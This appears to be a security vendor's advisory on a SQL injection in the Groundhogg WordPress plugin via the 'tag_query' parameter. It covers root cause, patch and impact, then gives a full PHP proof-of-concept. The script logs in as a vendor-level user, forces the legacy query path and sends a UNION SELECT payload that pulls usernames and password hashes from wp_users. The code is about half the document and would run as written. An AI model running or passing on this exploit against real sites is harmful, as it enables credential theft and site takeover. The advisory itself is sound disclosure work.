Atomic Edge analysis of CVE-2026-18387:
This vulnerability is a generic SQL Injection flaw in the Groundhogg plugin for WordPress, affecting versions up to and including 4.5.14. The flaw exists in the `tag_query` parameter, which is processed by the `Legacy_Contact_Query` class. It allows an authenticated attacker with vendor-level access to extract sensitive information from the database by appending malicious SQL queries. The vulnerability has a CVSS score of 6.5, indicating a medium severity risk.
The root cause of this vulnerability is insufficient escaping on the user-supplied `tag_query` parameter and a lack of sufficient preparation on the existing SQL query within the `Legacy_Contact_Query` code path. When a user submits an invalid or unknown filter type, such as `filters[0][0][type]=force_fallback`, a `FilterException` is thrown. This exception dispatches the execution to the deprecated `Legacy_Contact_Query` handler, which does not properly sanitize or prepare the SQL statement. The vulnerable parameter is concatenated directly into the query, allowing an attacker to break out of the intended SQL context.
To exploit this vulnerability, an authenticated attacker with vendor-level access submits a crafted request to a Groundhogg contact querying endpoint. The attacker must trigger the legacy query handler by including an invalid filter type in the request to force a `FilterException`. The malicious payload is placed in the `tag_query` parameter. For example, the attacker could submit a payload like `1) UNION SELECT user_login, user_pass FROM wp_users–` to extract WordPress administrator credentials. The crafted `filters[0][0][type]=force_fallback` parameter ensures the legacy code path is used, bypassing the more secure modern query handler.
The patch for this vulnerability modifies the `Legacy_Contact_Query` class to address the SQL injection. The before behavior allowed the `tag_query` parameter to be passed directly into the SQL query without proper escaping. The patch implements proper escaping and preparation of this parameter, ensuring that it is treated as data rather than executable code. This change prevents attackers from injecting arbitrary SQL queries into the database call.
If successfully exploited, this vulnerability permits an attacker to extract sensitive information from the WordPress database. This could include usernames, password hashes, and other data from all users, including administrators. The attacker could also potentially modify or delete data within the database, leading to a full site compromise, data loss, or further privilege escalation on the server.
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-18387 - Groundhogg <= 4.5.14 - Authenticated (Vendor+) SQL Injection via 'tag_query' Parameter
// Target WordPress site URL (no trailing slash)
$target_url = 'https://example.com';
// Login credentials for a vendor-level account
$username = 'vendor_user';
$password = 'vendor_password';
// Admin AJAX or REST endpoint for executing the query
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
function make_request($url, $post_data = null, $cookies = null) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
if ($post_data) {
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
}
if ($cookies) {
$cookie_string = '';
foreach ($cookies as $key => $value) {
$cookie_string .= $key . '=' . $value . '; ';
}
curl_setopt($ch, CURLOPT_COOKIE, $cookie_string);
}
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
curl_close($ch);
return $response;
}
// Step 1: Log in to WordPress to obtain session cookies
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
);
make_request($target_url . '/wp-login.php');
$login_response = make_request($login_url, $login_data);
// Extract cookies from the response headers
preg_match_all('/^Set-Cookie:s*([^;]*)/mi', $login_response, $matches);
$cookies = array();
foreach ($matches[1] as $cookie) {
$parts = explode('=', $cookie, 2);
if (count($parts) == 2) {
$cookies[$parts[0]] = $parts[1];
}
}
if (empty($cookies)) {
die('Login failed. Could not retrieve cookies.');
}
// Step 2: SQL Injection payload to extract usernames and password hashes
// The vulnerable 'tag_query' parameter is used in a Legacy_Contact_Query
// The filter type 'force_fallback' is used to trigger the vulnerable code path
$injection_payload = "1) UNION SELECT user_login, user_pass FROM wp_users-- ";
$query_vars = array(
'action' => 'groundhogg_admin_v4_search', // Example action, adjust based on actual endpoint
'filters[0][0][type]' => 'force_fallback',
'tag_query' => $injection_payload,
'limit' => 5
);
// Step 3: Send the malicious request
$response = make_request($ajax_url, $query_vars, $cookies);
// Step 4: Display the response
if ($response) {
echo "Response received:n";
echo $response;
} else {
echo "No response received. The attack may have failed.";
}